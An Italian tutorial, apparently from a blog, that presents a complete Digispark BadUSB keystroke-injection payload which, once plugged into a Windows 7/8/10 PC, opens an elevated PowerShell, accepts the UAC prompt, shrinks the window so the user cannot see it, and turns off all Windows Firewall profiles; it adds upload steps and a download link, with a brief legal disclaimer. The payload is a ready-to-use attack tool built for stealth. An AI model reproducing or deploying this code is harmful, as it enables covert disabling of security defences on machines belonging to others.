Il payload che mostrerò in questo articolo consente di disattivare il firewall di Windows.
|
FIG 1 - Digispark Kickstarter |
ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.
Windows Firewall è composto da tre profili diversi (dominio, privato e pubblico) ciascuno con le proprie regole/impostazioni.
Per visualizzare lo stato dei tre profili di Windows Firewall baste eseguire il seguente comando dal Prompt dei comandi
netsh advfirewall show allprofiles
L'output sarà analogo a quello mostrato in FIG 2 in cui tutti e tre profili sono attivi (ON). Dopo l'esecuzione del nostro payload lo stato dei tre profili sarà OFF.
|
FIG 2 - Windows Firewall, Stato Profili |
Per disattivare tutti i profili di Windows Firewall andremo ad eseguire il seguente comando con privilegi elevati
netsh advfirewall set allprofiles state off
Il codice del payload è il seguente.
#include "KeyboardIT.h"
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
//mostra desktop
DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
DigiKeyboard.delay(1000);
// start->Esegui
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.print("powershell Start-Process powershell -Verb runAs");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
DigiKeyboard.delay(5000);
DigiKeyboard.print("mode con:cols=14 lines=1 ");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("netsh advfirewall set allprofiles state off");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
DigiKeyboard.print("Exit");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /*empty*/ }
}
Con l'istruzione
DigiKeyboard.print("powershell Start-Process powershell -Verb runAs")
viene avviata una sessione PowerShell come amministratore. Per evitare che chi è seduto dinanzi al PC veda il comando digitato, viene ridotta la dimensione della finestra con l'istruzione
DigiKeyboard.print("mode con:cols=14 lines=1 ");
Successivamente vengono disabilitati tutti i profili di Windows Firewall con
DigiKeyboard.print("netsh advfirewall set allprofiles state off");
Per caricare il payload sulla scheda Digispark:
- Scaricare il file Digispark_ Turn_Off_Windows_Firewall.zip dal seguente link
DOWNLOAD - Scompattare il file e cliccare 2 volte sul file Digispark_ Turn_Off_Windows_Firewall.ino per aprirlo nell'IDE Arduino;
- Cliccare sul tasto carica per compilare e caricare il programma sul dispositivo. Quando richiesto, collegare la scheda Digispark e attendere il caricamento del programma.
|
FIG 3 - Digispark, Disattiva profili di Windows Firewall |
Terminato il caricamento, la scheda è pronta per essere usata. Collegandola ad un PC con sistema operativo Windows 7/8/10 verrà eseguita la disattivazione di tutti i profili di Windows Firewall.